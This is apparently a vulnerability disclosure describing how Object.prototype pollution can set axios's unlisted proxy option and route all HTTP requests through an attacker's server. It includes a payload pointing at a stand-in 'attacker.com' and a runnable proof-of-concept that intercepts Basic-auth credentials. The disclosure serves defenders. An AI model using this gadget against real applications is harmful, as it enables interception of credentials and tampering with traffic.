Description

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy # Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object) ## CWE - CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') ## CVSS 3.1 Score: 9.4 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | ### Why This Bypasses mergeConfig The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means: 1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy() This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it. ## Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ### 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ### 3. The Execution At http.js:668-670: javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); setProxy() at http.js:191-239 then: javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ### 4. The Impact (Full MITM) The attacker's proxy server receives: http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, */* The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: - Sees every request URL, header, and body - Modifies every response (inject malicious data, change auth results) - Logs all API keys, session tokens, and passwords - Operates as an invisible proxy — the developer has no indication ### 5. Verified PoC Code javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ## Verified PoC Output ``` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests

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